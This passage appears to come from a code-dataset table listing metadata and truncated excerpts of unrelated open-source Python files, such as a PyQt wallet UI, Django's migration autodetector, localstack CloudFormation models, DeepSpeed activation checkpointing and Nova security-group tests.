# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | 41.292111 | 95 | 0.682123 |
48cc149dbaf04b7b3ba58856edbfbb9a0dc105c2 | 21,595 | py | Python | narwhallet/core/kui/ux/wallets_tab.py | Snider/narwhallet | 0d528763c735f1e68b8264e302854d41e7cf1956 | [
"MIT"
] | 3 | 2021-12-29T11:25:13.000Z | 2022-01-16T13:57:17.000Z | narwhallet/core/kui/ux/wallets_tab.py | Snider/narwhallet | 0d528763c735f1e68b8264e302854d41e7cf1956 | [
"MIT"
] | null | null | null | narwhallet/core/kui/ux/wallets_tab.py | Snider/narwhallet | 0d528763c735f1e68b8264e302854d41e7cf1956 | [
"MIT"
] | 1 | 2022-01-16T13:57:20.000Z | 2022-01-16T13:57:20.000Z | from PyQt5 import QtCore
from PyQt5.QtGui import QIcon, QPixmap
from PyQt5.QtCore import QObject
from PyQt5.QtWidgets import (QWidget, QVBoxLayout, QFrame, QHBoxLayout,
QLabel, QSpacerItem, QSizePolicy, QPushButton,
QPlainTextEdit, QScrollArea, QSplitter,
... | 45.463158 | 78 | 0.643297 |
aca743a3a610afcbde2f07bdecfdf453f4488a34 | 88,823 | py | Python | shell/pkg_resources.py | suifengzhuliu/impala | 611f4c6f3b18cfcddff3b2956cbb87c295a87655 | [
"Apache-2.0"
] | 1,523 | 2015-01-01T03:42:24.000Z | 2022-02-06T22:24:04.000Z | shell/pkg_resources.py | suifengzhuliu/impala | 611f4c6f3b18cfcddff3b2956cbb87c295a87655 | [
"Apache-2.0"
] | 10 | 2015-01-09T06:46:05.000Z | 2022-03-29T21:57:57.000Z | shell/pkg_resources.py | suifengzhuliu/impala | 611f4c6f3b18cfcddff3b2956cbb87c295a87655 | [
"Apache-2.0"
] | 647 | 2015-01-02T04:01:40.000Z | 2022-03-30T15:57:35.000Z | """
This file is redistributed under the Python Software Foundation License:
http://docs.python.org/2/license.html
"""
"""Package resource API
--------------------
A resource is a logical file contained within a package, or a logical
subdirectory thereof. The package resource API expects resource names
to have t... | 32.909596 | 94 | 0.618815 |
8a1a7080fe7cd3a52801cb83158be8200f30f2f1 | 4,460 | py | Python | xlsxwriter/test/worksheet/test_cond_format12.py | Rippling/XlsxWriter-1 | be8d1cb8f8b156cf87bbe5d591f1f5475804be44 | [
"BSD-2-Clause"
] | null | null | null | xlsxwriter/test/worksheet/test_cond_format12.py | Rippling/XlsxWriter-1 | be8d1cb8f8b156cf87bbe5d591f1f5475804be44 | [
"BSD-2-Clause"
] | null | null | null | xlsxwriter/test/worksheet/test_cond_format12.py | Rippling/XlsxWriter-1 | be8d1cb8f8b156cf87bbe5d591f1f5475804be44 | [
"BSD-2-Clause"
] | null | null | null | ###############################################################################
#
# Tests for XlsxWriter.
#
# SPDX-License-Identifier: BSD-2-Clause
# Copyright (c), 2013-2021, John McNamara, jmcnamara@cpan.org
#
import unittest
from io import StringIO
from ..helperfunctions import _xml_to_list
from ...worksheet import... | 33.533835 | 171 | 0.354933 |
d82b53c06ea25d76341622c93e14f15b5f8a325d | 1,340 | py | Python | test/test_GetStudents3Q.py | Vsevolearn/PTLab1 | 5cc51f6beb7fe82b61a2ef839a9408c0d17fe485 | [
"MIT"
] | null | null | null | test/test_GetStudents3Q.py | Vsevolearn/PTLab1 | 5cc51f6beb7fe82b61a2ef839a9408c0d17fe485 | [
"MIT"
] | null | null | null | test/test_GetStudents3Q.py | Vsevolearn/PTLab1 | 5cc51f6beb7fe82b61a2ef839a9408c0d17fe485 | [
"MIT"
] | 1 | 2021-12-03T01:11:01.000Z | 2021-12-03T01:11:01.000Z | from typing import Dict, Tuple
from Types import DataType
from CalcRating import CalcRating
from GetStudents3Q import GetStudents3Q
import pytest
RatingsType = Dict[str, float]
class TestStudents3Q():
@pytest.fixture()
def input_data(self) -> Tuple[DataType, RatingsType]:
rating_scores: RatingsType = ... | 36.216216 | 75 | 0.630597 |
95ef890ac69ce222ff2e3c487ae6b7f9c0bd29fe | 51,313 | py | Python | django/db/migrations/autodetector.py | HenriqueLR/django | d1ca70110f49f0be90206c8da516ac16aebc8c75 | [
"BSD-3-Clause"
] | 2 | 2015-01-21T15:45:07.000Z | 2015-02-21T02:38:13.000Z | django/db/migrations/autodetector.py | HenriqueLR/django | d1ca70110f49f0be90206c8da516ac16aebc8c75 | [
"BSD-3-Clause"
] | null | null | null | django/db/migrations/autodetector.py | HenriqueLR/django | d1ca70110f49f0be90206c8da516ac16aebc8c75 | [
"BSD-3-Clause"
] | null | null | null | from __future__ import unicode_literals
import re
import datetime
from itertools import chain
from django.utils import six
from django.db import models
from django.conf import settings
from django.db.migrations import operations
from django.db.migrations.migration import Migration
from django.db.migrations.questione... | 48.226504 | 166 | 0.564146 |
dfb6047fbe6b560b57045a08d9b45a7fd849fc4c | 530 | py | Python | plico_dm_server/scripts/plico_dm_stop.py | lbusoni/palpao_server | 4531fc60904433c81bdad1e631cd06c4ae13e76c | [
"MIT"
] | null | null | null | plico_dm_server/scripts/plico_dm_stop.py | lbusoni/palpao_server | 4531fc60904433c81bdad1e631cd06c4ae13e76c | [
"MIT"
] | 3 | 2022-01-19T23:58:01.000Z | 2022-02-25T12:15:49.000Z | plico_dm_server/scripts/plico_dm_stop.py | ArcetriAdaptiveOptics/plico_dm_server | da8d2797ac92a4c12d034a0c2da4b50a074beade | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import logging
from plico.utils.kill_process_by_name import killProcessByName
from plico_dm_server.utils.constants import Constants
__version__= "$Id: plico_dm_stop.py 27 2018-01-27 08:48:07Z lbusoni $"
def main():
logging.basicConfig(level=logging.INFO)
processNames= [Constants.START_... | 27.894737 | 70 | 0.707547 |
cf7e9adfb2d71939c0a362af95850b25eff02587 | 2,203 | py | Python | python/Howdy/MultiLingual.py | PaulAustin/sb7 | e7e7f9f85387d16f6069ed8e98192bd387d8cf95 | [
"MIT"
] | null | null | null | python/Howdy/MultiLingual.py | PaulAustin/sb7 | e7e7f9f85387d16f6069ed8e98192bd387d8cf95 | [
"MIT"
] | null | null | null | python/Howdy/MultiLingual.py | PaulAustin/sb7 | e7e7f9f85387d16f6069ed8e98192bd387d8cf95 | [
"MIT"
] | null | null | null |
greetings = {
"Italian": "Ciao mondo",
"Irish": "Dia duit Domhanda",
"French": "Bonjour le monde",
"English": "Hello World",
"Australian": "G'day World",
"German": "Hallo Welt",
"Hungarian": "Helló Világ",
"Czech": "Ahoj světe",
"Dutch": ... | 28.61039 | 43 | 0.460735 |
7db29590c736b1cad9768e649bbc4e836fdd1c43 | 2,700 | py | Python | src/streamlink/plugins/mediavitrina.py | melmorabity/streamlink | 24c59a23103922977991acc28741a323d8efa7a1 | [
"BSD-2-Clause"
] | null | null | null | src/streamlink/plugins/mediavitrina.py | melmorabity/streamlink | 24c59a23103922977991acc28741a323d8efa7a1 | [
"BSD-2-Clause"
] | null | null | null | src/streamlink/plugins/mediavitrina.py | melmorabity/streamlink | 24c59a23103922977991acc28741a323d8efa7a1 | [
"BSD-2-Clause"
] | null | null | null | import logging
import re
from streamlink.plugin import Plugin, pluginmatcher
from streamlink.plugin.api import validate
from streamlink.stream import HLSStream
from streamlink.utils.url import update_qsd
log = logging.getLogger(__name__)
@pluginmatcher(re.compile(
r"https?://(?P<channel>ctc(?:love)?|chetv|domas... | 34.615385 | 119 | 0.505556 |
a3b6f56ce5f62508cce22f75f3548c02ef5c52fd | 238 | py | Python | features/steps/test_starter/{{ cookiecutter.repo_name }}/src/{{ cookiecutter.python_package }}/pipelines/data_science/__init__.py | daniel-falk/kedro | 19187199339ddc4a757aaaa328f319ec4c1e452a | [
"Apache-2.0"
] | 2,047 | 2022-01-10T15:22:12.000Z | 2022-03-31T13:38:56.000Z | features/steps/test_starter/{{ cookiecutter.repo_name }}/src/{{ cookiecutter.python_package }}/pipelines/data_science/__init__.py | daniel-falk/kedro | 19187199339ddc4a757aaaa328f319ec4c1e452a | [
"Apache-2.0"
] | 170 | 2022-01-10T12:44:31.000Z | 2022-03-31T17:01:24.000Z | features/steps/test_starter/{{ cookiecutter.repo_name }}/src/{{ cookiecutter.python_package }}/pipelines/data_science/__init__.py | daniel-falk/kedro | 19187199339ddc4a757aaaa328f319ec4c1e452a | [
"Apache-2.0"
] | 112 | 2022-01-10T19:15:24.000Z | 2022-03-30T11:20:52.000Z | """Example code for the nodes in the example pipeline. This code is meant
just for illustrating basic Kedro features.
PLEASE DELETE THIS FILE ONCE YOU START WORKING ON YOUR OWN PROJECT!
"""
from .pipeline import create_pipeline # NOQA
| 29.75 | 73 | 0.781513 |
1373129657f5b21c1aeafaa047d30c85dbe40199 | 3,557 | py | Python | src/communications/destination_email.py | tomgilbertson/script-server-v1 | bbdf289d3d993a0c81f20c36bce5f3eb064b0261 | [
"Apache-2.0",
"CC0-1.0"
] | 833 | 2016-09-08T13:27:36.000Z | 2022-03-27T07:10:48.000Z | src/communications/destination_email.py | tomgilbertson/script-server-v1 | bbdf289d3d993a0c81f20c36bce5f3eb064b0261 | [
"Apache-2.0",
"CC0-1.0"
] | 528 | 2016-05-23T09:17:04.000Z | 2022-03-30T12:45:50.000Z | src/communications/destination_email.py | tomgilbertson/script-server-v1 | bbdf289d3d993a0c81f20c36bce5f3eb064b0261 | [
"Apache-2.0",
"CC0-1.0"
] | 214 | 2016-09-08T14:46:41.000Z | 2022-03-25T01:04:14.000Z | import smtplib
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.utils import formatdate
from communications import destination_base
from model import model_helper
from model.model_helper import read_bool_from_config
def ... | 30.144068 | 87 | 0.653641 |
1b3e98c9c632f57b19ac2ed5bca04ac72e9e5cf8 | 4,180 | py | Python | gym_collision_avoidance/envs/policies/LearningCADRL/policy/sarl.py | meghdeepj/Social-Navigation-Simulator | 806d304081bf5ff4fc7a0a58defb050627375865 | [
"MIT"
] | null | null | null | gym_collision_avoidance/envs/policies/LearningCADRL/policy/sarl.py | meghdeepj/Social-Navigation-Simulator | 806d304081bf5ff4fc7a0a58defb050627375865 | [
"MIT"
] | null | null | null | gym_collision_avoidance/envs/policies/LearningCADRL/policy/sarl.py | meghdeepj/Social-Navigation-Simulator | 806d304081bf5ff4fc7a0a58defb050627375865 | [
"MIT"
] | null | null | null | import torch
import torch.nn as nn
from torch.nn.functional import softmax
import logging
from gym_collision_avoidance.envs.policies.LearningCADRL.policy.cadrl import mlp
from gym_collision_avoidance.envs.policies.LearningCADRL.policy.multi_human_rl import MultiHumanRL
class ValueNetwork(nn.Module):
def __init__(... | 46.444444 | 117 | 0.652392 |
c5c4a1cd9ba151e4a55911dda45d547931eb2e8e | 32,886 | py | Python | deepspeed/runtime/activation_checkpointing/checkpointing.py | Quentin-Anthony/DeeperSpeed | eb7f5cff36678625d23db8a8fe78b4a93e5d2c75 | [
"MIT"
] | 58 | 2021-01-24T08:57:03.000Z | 2022-03-31T07:47:13.000Z | deepspeed/runtime/activation_checkpointing/checkpointing.py | Quentin-Anthony/DeeperSpeed | eb7f5cff36678625d23db8a8fe78b4a93e5d2c75 | [
"MIT"
] | 1 | 2020-12-11T21:08:42.000Z | 2020-12-11T21:08:42.000Z | deepspeed/runtime/activation_checkpointing/checkpointing.py | Quentin-Anthony/DeeperSpeed | eb7f5cff36678625d23db8a8fe78b4a93e5d2c75 | [
"MIT"
] | 14 | 2021-01-25T03:48:44.000Z | 2022-03-18T12:58:14.000Z | '''
Copyright (c) Microsoft Corporation
Licensed under the MIT license.
Use to partition the activations stored for backward propagation
Therefore reduces the memory consumption
Also implements CPU checkpointing and contiguous memory checkpointing
Reduces memory consumption and memory fragmentation
Code for ... | 38.150812 | 186 | 0.609895 |
41c89cd6020efea7a5a86717aeaeec36d687cc43 | 5,156 | py | Python | nsgt/fft.py | smallnamespace/nsgt | 48b1c695d7c0e1f5ab93d1907583725fc8160a8e | [
"Artistic-2.0"
] | 2 | 2021-05-11T20:50:29.000Z | 2021-05-12T00:56:08.000Z | nsgt/fft.py | smallnamespace/nsgt | 48b1c695d7c0e1f5ab93d1907583725fc8160a8e | [
"Artistic-2.0"
] | null | null | null | nsgt/fft.py | smallnamespace/nsgt | 48b1c695d7c0e1f5ab93d1907583725fc8160a8e | [
"Artistic-2.0"
] | null | null | null | # -*- coding: utf-8
"""
Python implementation of Non-Stationary Gabor Transform (NSGT)
derived from MATLAB code by NUHAG, University of Vienna, Austria
Thomas Grill, 2011-2015
http://grrrr.org/nsgt
Austrian Research Institute for Artificial Intelligence (OFAI)
AudioMiner project, supported by Vienna Science and Tech... | 38.766917 | 146 | 0.547905 |
40806a6f629246748e283409d4b31145ef0a795c | 3,307 | py | Python | tests/functional/services/api/events/test_get.py | dspalmer99/anchore-engine | 8c61318be6fec5d767426fa4ccd98472cc85b5cd | [
"Apache-2.0"
] | null | null | null | tests/functional/services/api/events/test_get.py | dspalmer99/anchore-engine | 8c61318be6fec5d767426fa4ccd98472cc85b5cd | [
"Apache-2.0"
] | null | null | null | tests/functional/services/api/events/test_get.py | dspalmer99/anchore-engine | 8c61318be6fec5d767426fa4ccd98472cc85b5cd | [
"Apache-2.0"
] | null | null | null | from datetime import datetime, timedelta
import pytest
from tests.functional.services.api.conftest import USER_API_CONFS
from tests.functional.services.api.subscriptions import SUBSCRIPTION_TYPES
from tests.functional.services.utils.http_utils import http_get, APIResponse
SERVICES = ['analyzer', 'api', 'catalog', 's... | 44.689189 | 119 | 0.670396 |
7a35c3fa34e5bd000e4106da71d97cc5e27560d5 | 739 | py | Python | Starter/Examples/06_def.py | MKarimi21/JADI-Python | b07b9ff93909cffd059aecbd91073398f7153da7 | [
"MIT"
] | 2 | 2020-09-08T20:41:55.000Z | 2021-09-09T10:25:04.000Z | Starter/Examples/06_def.py | MKarimi21/JADI-Python | b07b9ff93909cffd059aecbd91073398f7153da7 | [
"MIT"
] | null | null | null | Starter/Examples/06_def.py | MKarimi21/JADI-Python | b07b9ff93909cffd059aecbd91073398f7153da7 | [
"MIT"
] | null | null | null | # a program to calculate the square root with def
# Babylian Algorithm for Square
def Square(Number):
error = 0.001
guess = abs(Number / 2)
iteraion = 0
if Number <= 0:
Number = abs(Number)
print('Your Number is incorrect and agian run program whith abslute number')
else:
... | 28.423077 | 84 | 0.592693 |
75851a61b331d51b7ded05e4e6bea37bc92f18f3 | 1,221 | py | Python | Yoga/Yoga/urls.py | cmadisonne/passion-project | ca9943d6d27e879a03e308b8ddb6e5d2eb89673b | [
"Apache-2.0"
] | null | null | null | Yoga/Yoga/urls.py | cmadisonne/passion-project | ca9943d6d27e879a03e308b8ddb6e5d2eb89673b | [
"Apache-2.0"
] | null | null | null | Yoga/Yoga/urls.py | cmadisonne/passion-project | ca9943d6d27e879a03e308b8ddb6e5d2eb89673b | [
"Apache-2.0"
] | null | null | null | """Yoga URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based vi... | 39.387097 | 77 | 0.707617 |
4fe5688468b28df63b8379eebaca22b60d928d47 | 19,120 | py | Python | watertap/edb/db_api.py | jalving/watertap | a89bd61deaaca9c30402727545e8223a276c93e6 | [
"BSD-3-Clause-LBNL"
] | null | null | null | watertap/edb/db_api.py | jalving/watertap | a89bd61deaaca9c30402727545e8223a276c93e6 | [
"BSD-3-Clause-LBNL"
] | null | null | null | watertap/edb/db_api.py | jalving/watertap | a89bd61deaaca9c30402727545e8223a276c93e6 | [
"BSD-3-Clause-LBNL"
] | null | null | null | ###############################################################################
# WaterTAP Copyright (c) 2021, The Regents of the University of California,
# through Lawrence Berkeley National Laboratory, Oak Ridge National
# Laboratory, National Renewable Energy Laboratory, and National Energy
# Technology Laboratory ... | 38.011928 | 119 | 0.565638 |
d6545145fc977d8eb294213f2c7fa32f42db76f5 | 67,845 | py | Python | localstack/services/cloudformation/service_models.py | yongliu-mdsol/localstack | 306daff632c0add548bfc3498ba71866ca281ff5 | [
"Apache-2.0"
] | null | null | null | localstack/services/cloudformation/service_models.py | yongliu-mdsol/localstack | 306daff632c0add548bfc3498ba71866ca281ff5 | [
"Apache-2.0"
] | null | null | null | localstack/services/cloudformation/service_models.py | yongliu-mdsol/localstack | 306daff632c0add548bfc3498ba71866ca281ff5 | [
"Apache-2.0"
] | null | null | null | import re
import json
import logging
from moto.ec2.utils import generate_route_id
from moto.s3.models import FakeBucket
from moto.sqs.models import Queue as MotoQueue
from moto.iam.models import Role as MotoRole
from moto.core.models import CloudFormationModel
from moto.cloudformation.exceptions import UnformattedGetA... | 39.421848 | 119 | 0.622831 |
022641df7a7bd853a0638f6d3893a3c50f1d5f2a | 685 | py | Python | mission_to_mars/app.py | cjdance/web-scraping-challenge | 020e5af5798dc8ffa7e679ba7338ced384d753c5 | [
"ADSL"
] | null | null | null | mission_to_mars/app.py | cjdance/web-scraping-challenge | 020e5af5798dc8ffa7e679ba7338ced384d753c5 | [
"ADSL"
] | null | null | null | mission_to_mars/app.py | cjdance/web-scraping-challenge | 020e5af5798dc8ffa7e679ba7338ced384d753c5 | [
"ADSL"
] | null | null | null | from flask import Flask, render_template, redirect
from flask_pymongo import PyMongo
import scrape_mars
app = Flask(__name__)
# Use flask_pymongo to set up mongo connection
app.config["MONGO_URI"] = "mongodb://localhost:27017/phone_app"
mongo = PyMongo(app)
# Or set inline
# mongo = PyMongo(app, uri="mongodb://local... | 22.833333 | 65 | 0.708029 |
a89a376ea882f13ba7cc1ab769f9e4a6e4dc8760 | 25,066 | py | Python | tests/src/main/python/rest/tests/extract/swagger_client/api_client.py | IBM/quality-measure-and-cohort-service | 8963227bf4941d6a5fdc641b37ca0f72da5a6f2b | [
"Apache-2.0"
] | 1 | 2020-10-05T15:10:03.000Z | 2020-10-05T15:10:03.000Z | tests/src/main/python/rest/tests/extract/swagger_client/api_client.py | IBM/quality-measure-and-cohort-service | 8963227bf4941d6a5fdc641b37ca0f72da5a6f2b | [
"Apache-2.0"
] | null | null | null | tests/src/main/python/rest/tests/extract/swagger_client/api_client.py | IBM/quality-measure-and-cohort-service | 8963227bf4941d6a5fdc641b37ca0f72da5a6f2b | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
IBM Cohort Engine
Service to evaluate cohorts and measures # noqa: E501
OpenAPI spec version: 2.1.0 2022-02-18T21:50:45Z
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import datetime
import json
import mimetypes
... | 39.165625 | 96 | 0.55314 |
dad80a46ce791f2a5b2f7adb530c30dd9d35aa0d | 159 | py | Python | Task/Arrays/Python/arrays-7.py | LaudateCorpus1/RosettaCodeData | 9ad63ea473a958506c041077f1d810c0c7c8c18d | [
"Info-ZIP"
] | 5 | 2021-01-29T20:08:05.000Z | 2022-03-22T06:16:05.000Z | Task/Arrays/Python/arrays-7.py | seanwallawalla-forks/RosettaCodeData | 9ad63ea473a958506c041077f1d810c0c7c8c18d | [
"Info-ZIP"
] | null | null | null | Task/Arrays/Python/arrays-7.py | seanwallawalla-forks/RosettaCodeData | 9ad63ea473a958506c041077f1d810c0c7c8c18d | [
"Info-ZIP"
] | 1 | 2021-04-13T04:19:31.000Z | 2021-04-13T04:19:31.000Z | try:
# This will cause an exception, which will then be caught.
print array[len(array)]
except IndexError as e:
# Print the exception.
print e
| 22.714286 | 62 | 0.679245 |
1dd0467f48317bf34b2103e7bd3c8b97a95aaa9f | 35,989 | py | Python | selfdrive/car/hyundai/values.py | stealthzerocool/openpilot | 6e9576df4a7af61b9cff7daabda6709cddd63253 | [
"MIT"
] | 2 | 2021-04-09T00:12:01.000Z | 2021-05-03T07:55:43.000Z | selfdrive/car/hyundai/values.py | stealthzerocool/openpilot | 6e9576df4a7af61b9cff7daabda6709cddd63253 | [
"MIT"
] | null | null | null | selfdrive/car/hyundai/values.py | stealthzerocool/openpilot | 6e9576df4a7af61b9cff7daabda6709cddd63253 | [
"MIT"
] | 1 | 2021-04-13T08:33:40.000Z | 2021-04-13T08:33:40.000Z | # flake8: noqa
from cereal import car
from selfdrive.car import dbc_dict
Ecu = car.CarParams.Ecu
# Steer torque limits
class CarControllerParams:
def __init__(self, CP):
if CP.carFingerprint in [CAR.SONATA, CAR.PALISADE, CAR.SANTA_FE, CAR.VELOSTER, CAR.GENESIS_G70, CAR.IONIQ_EV_2020]:
self.STEER_MAX = 384... | 86.098086 | 928 | 0.588346 |
8962c9b54edfae60a7f4e59aecda1c9e188cd64a | 2,080 | py | Python | test/helpers.py | edwinschrubb/cryptoapi | 0b4351560c4d55a3f38847f94f82c0a34afe87bc | [
"MIT"
] | 9 | 2020-08-07T04:12:45.000Z | 2022-03-15T03:28:43.000Z | test/helpers.py | edwinschrubb/cryptoapi | 0b4351560c4d55a3f38847f94f82c0a34afe87bc | [
"MIT"
] | null | null | null | test/helpers.py | edwinschrubb/cryptoapi | 0b4351560c4d55a3f38847f94f82c0a34afe87bc | [
"MIT"
] | 4 | 2020-08-07T08:48:22.000Z | 2021-12-23T05:18:24.000Z | from unittest.mock import MagicMock
BOOK_METADATA = {
'timestamp': None,
'datetime': None,
'nonce': None
}
TEST_MARKET = {
'percentage': True,
'tierBased': True,
'maker': 0.001,
'taker': 0.002,
'tiers': {
'taker': [
[0, 0.002],
[500000, 0.002],
... | 22.857143 | 49 | 0.439904 |
810d005ae1576ecf6d7c0f234b9b74efbcffb9d3 | 657 | py | Python | restapi/migrations/versions/99100c610a3e_.py | ninjadotorg/KPI | 430617a1e85304a254cc7364d524d721b8d45b11 | [
"MIT"
] | 2 | 2020-06-30T18:03:12.000Z | 2021-09-02T11:31:59.000Z | restapi/migrations/versions/99100c610a3e_.py | ninjadotorg/KPI | 430617a1e85304a254cc7364d524d721b8d45b11 | [
"MIT"
] | 10 | 2020-09-05T23:29:52.000Z | 2022-03-11T23:36:59.000Z | restapi/migrations/versions/99100c610a3e_.py | ninjadotorg/KPI | 430617a1e85304a254cc7364d524d721b8d45b11 | [
"MIT"
] | null | null | null | """empty message
Revision ID: 99100c610a3e
Revises: d36e6e98140c
Create Date: 2018-12-13 15:50:36.975372
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '99100c610a3e'
down_revision = 'd36e6e98140c'
branch_labels = None
depends_on = None
def upgrade():
# ... | 22.655172 | 84 | 0.69102 |
be83aff961eff0b4af669019489eb317a246cd7d | 1,920 | py | Python | examples/beta/lending-club/loans-enriched/enrich_loans.py | admariner/beneath | a6aa2c220e4a646be792379528ae673f4bef440b | [
"MIT"
] | 65 | 2021-04-27T13:13:09.000Z | 2022-01-24T00:26:06.000Z | examples/beta/lending-club/loans-enriched/enrich_loans.py | admariner/beneath | a6aa2c220e4a646be792379528ae673f4bef440b | [
"MIT"
] | 22 | 2021-10-06T10:30:40.000Z | 2021-12-10T11:36:55.000Z | examples/beta/lending-club/loans-enriched/enrich_loans.py | admariner/beneath | a6aa2c220e4a646be792379528ae673f4bef440b | [
"MIT"
] | 4 | 2021-04-24T15:29:51.000Z | 2022-03-30T16:20:12.000Z | import beneath
import joblib
# config
INPUT_TABLE = "loans"
OUTPUT_TABLE = "loans-enriched"
OUTPUT_SCHEMA = open("loans_enriched.graphql", "r").read()
# load ML model to use for predictions
clf = joblib.load('model.pkl')
async def process_loan(loan):
# use the pre-trained classifier to predict whether the borrower... | 30.47619 | 91 | 0.645313 |
6db3ef375d885aa098c133ca2e6256e148091d7f | 1,738 | py | Python | src/command/args/namespace.py | vincent-lg/talismud | 645bdae3d2e71cde51a25fe48c8f1bde15319631 | [
"BSD-3-Clause"
] | 4 | 2020-05-16T21:58:55.000Z | 2020-08-29T11:17:31.000Z | src/command/args/namespace.py | vincent-lg/talismud | 645bdae3d2e71cde51a25fe48c8f1bde15319631 | [
"BSD-3-Clause"
] | 1 | 2020-12-15T11:22:32.000Z | 2020-12-15T11:22:32.000Z | src/command/args/namespace.py | vincent-lg/talismud | 645bdae3d2e71cde51a25fe48c8f1bde15319631 | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2020-20201, LE GOFF Vincent
# All rights reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions... | 45.736842 | 78 | 0.772727 |
13202f7089f8f004511b2eb5b67f3c9aba057bad | 103,590 | py | Python | pyscf/mcscf/mc1step.py | smgarner229/pyscf | b4f00378012e14ca5f7058f753cc0d586aa436b7 | [
"Apache-2.0"
] | null | null | null | pyscf/mcscf/mc1step.py | smgarner229/pyscf | b4f00378012e14ca5f7058f753cc0d586aa436b7 | [
"Apache-2.0"
] | null | null | null | pyscf/mcscf/mc1step.py | smgarner229/pyscf | b4f00378012e14ca5f7058f753cc0d586aa436b7 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# Copyright 2014-2018 The PySCF Developers. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# U... | 41.619124 | 145 | 0.557689 |
ef5bc00488cfefa6e3f9bd272767e206fec3d597 | 2,412 | py | Python | test/functional/test_framework/test_shell.py | Cminor-pools/bitcoinvg | d47a3cf13e06f4fe03d965826f5309e6d5706470 | [
"MIT"
] | null | null | null | test/functional/test_framework/test_shell.py | Cminor-pools/bitcoinvg | d47a3cf13e06f4fe03d965826f5309e6d5706470 | [
"MIT"
] | null | null | null | test/functional/test_framework/test_shell.py | Cminor-pools/bitcoinvg | d47a3cf13e06f4fe03d965826f5309e6d5706470 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) 2019 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
from test_framework.test_framework import BitcoinVGTestFramework
class TestShell:
"""Wrapper Class for Bi... | 31.736842 | 77 | 0.597015 |
9669a3eb8a2abf40392b30f9a3d85c32caa02b32 | 67,511 | py | Python | nova/tests/unit/api/openstack/compute/contrib/test_security_groups.py | belmiromoreira/nova | d03ef34b0b1ed96a2f2bea1f5f01f09436c55125 | [
"Apache-2.0"
] | null | null | null | nova/tests/unit/api/openstack/compute/contrib/test_security_groups.py | belmiromoreira/nova | d03ef34b0b1ed96a2f2bea1f5f01f09436c55125 | [
"Apache-2.0"
] | 1 | 2019-01-02T01:30:35.000Z | 2019-01-02T01:38:02.000Z | nova/tests/unit/api/openstack/compute/contrib/test_security_groups.py | jeffrey4l/nova | 35375133398d862a61334783c1e7a90b95f34cdb | [
"Apache-2.0"
] | null | null | null | # Copyright 2011 OpenStack Foundation
# Copyright 2012 Justin Santa Barbara
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#... | 43.359666 | 79 | 0.628031 |
cc6dd4cedf162e0d6045353175329f3457dc8a08 | 1,491 | py | Python | pythonAlgorithm/binarysearch/Search a 2D Matrix.py | Sky-zzt/lintcodePractice | d6436b296c5865d85e55c8ad4fcdbb0165d4ebb1 | [
"MIT"
] | 1 | 2020-09-15T07:58:55.000Z | 2020-09-15T07:58:55.000Z | pythonAlgorithm/binarysearch/Search a 2D Matrix.py | Sky-zzt/lintcodePractice | d6436b296c5865d85e55c8ad4fcdbb0165d4ebb1 | [
"MIT"
] | null | null | null | pythonAlgorithm/binarysearch/Search a 2D Matrix.py | Sky-zzt/lintcodePractice | d6436b296c5865d85e55c8ad4fcdbb0165d4ebb1 | [
"MIT"
] | null | null | null | class Solution:
"""
@param matrix: matrix, a list of lists of integers
@param target: An integer
@return: a boolean, indicate whether matrix contains target
"""
def searchMatrix(self, matrix, target):
# write your code here
m = len(matrix)
n = len(matrix[0])
star... | 29.82 | 67 | 0.482897 |
19f465f23132b4202c125d076fea797f7e1d3a26 | 9,864 | py | Python | ion-channel-models/mcmc_arma.py | sanmitraghosh/fickleheart-method-tutorials | d5ee910258a2656951201d4ada2a412804013bd5 | [
"BSD-3-Clause"
] | null | null | null | ion-channel-models/mcmc_arma.py | sanmitraghosh/fickleheart-method-tutorials | d5ee910258a2656951201d4ada2a412804013bd5 | [
"BSD-3-Clause"
] | null | null | null | ion-channel-models/mcmc_arma.py | sanmitraghosh/fickleheart-method-tutorials | d5ee910258a2656951201d4ada2a412804013bd5 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
from __future__ import print_function
import sys
sys.path.append('./method')
import os
import numpy as np
import matplotlib
#matplotlib.use('Agg')
import matplotlib.pyplot as plt
import pints
import pints.io
import pints.plot
import pymc3 as pm
import statsmodels.api as sm
import random
from skl... | 36.131868 | 148 | 0.701034 |
ec69ed5954ff64e87618e708e8d53a74a7066a44 | 13,493 | py | Python | myfcn.py | wdmwhh/FCN-8s | 8ff6a7a33e2a1d27530fb5a5d4019b0786000629 | [
"MIT"
] | 1 | 2020-06-03T09:19:03.000Z | 2020-06-03T09:19:03.000Z | myfcn.py | wdmwhh/FCN-8s | 8ff6a7a33e2a1d27530fb5a5d4019b0786000629 | [
"MIT"
] | null | null | null | myfcn.py | wdmwhh/FCN-8s | 8ff6a7a33e2a1d27530fb5a5d4019b0786000629 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Sat Dec 1 19:55:09 2018
FCN-VGG16-8s
@author: WDMWHH
"""
from __future__ import print_function, division
from torch.optim import lr_scheduler
from torchvision import transforms, models
from torch.utils.data import Dataset, DataLoader
from PIL import Image
from scipy ... | 38.115819 | 102 | 0.573038 |
